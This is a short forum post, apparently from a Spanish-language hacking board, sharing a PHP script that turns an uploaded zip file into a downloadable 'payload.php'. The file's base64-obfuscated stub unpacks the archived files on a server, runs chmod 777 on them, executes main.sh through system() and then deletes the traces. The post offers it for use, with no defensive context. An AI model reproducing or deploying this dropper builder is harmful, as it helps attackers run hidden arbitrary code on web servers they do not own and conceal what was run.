sQuo Posted February 26, 2014 Share Posted February 26, 2014 [LENGUAJE=php]<?php function packer($zip){ $stub = str_replace("\t", "", str_replace("\r", "", str_replace("\n", " ", base64_decode("PD9waHANCiRmaWxlcyA9IGpzb25fZGVjb2RlKGJhc2U2NF9kZW NvZGUoIntQQVlMT0FEfSIpKTsNCiRyYW5kID0gcmFuZCgxMDAw MDAsIDk5OTk5OSk7DQpzeXN0ZW0oIm1rZGlyICRyYW5kIik7DQ oNCmZvcmVhY2goJGZpbGVzIGFzICRmaWxlID0+ICRjb250ZW50 KXsJDQoJaWYoJGNvbnRlbnQgPT0gIiIpew0KCQlzeXN0ZW0oIm 1rZGlyIC4vJHJhbmQvJGZpbGUiKTsNCgl9DQoJZWxzZQ0KCXsN CgkJZmlsZV9wdXRfY29udGVudHMoIi4vJHJhbmQvJGZpbGUiLC BiYXNlNjRfZGVjb2RlKCRjb250ZW50KSk7DQoJfQ0KfQ0KDQpz eXN0ZW0oImNobW9kIC1SIDc3NyAuLyRyYW5kIik7DQpzeXN0ZW 0oImNkICRyYW5kOyAuL21haW4uc2giKTsNCnN5c3RlbSgicm0g LXJmIC4vJHJhbmQiKTsNCj8+")))); $zip = zip_open($zip); $files = Array(); if ($zip){ while ($zip_entry = zip_read($zip)){ $completeName = zip_entry_name($zip_entry); $files[$completeName] = base64_encode(zip_entry_read($zip_entry, zip_entry_filesize($zip_entry))); } zip_close($zip); } $payload = str_replace("{PAYLOAD}", base64_encode(json_encode($files)), $stub); return $payload; } if(isset($_FILES["file"]["tmp_name"])){ header("Cache-Control: public"); header("Content-Description: File Transfer"); header("Content-Disposition: attachment; filename=payload.php"); header("Content-Type: application/x-php"); header("Content-Transfer-Encoding: binary"); echo @packer($_FILES["file"]["tmp_name"]); } else { ?> File: Upload <?php } ?>[/LENGUAJE] Link to comment Share on other sites More sharing options...
Recommended Posts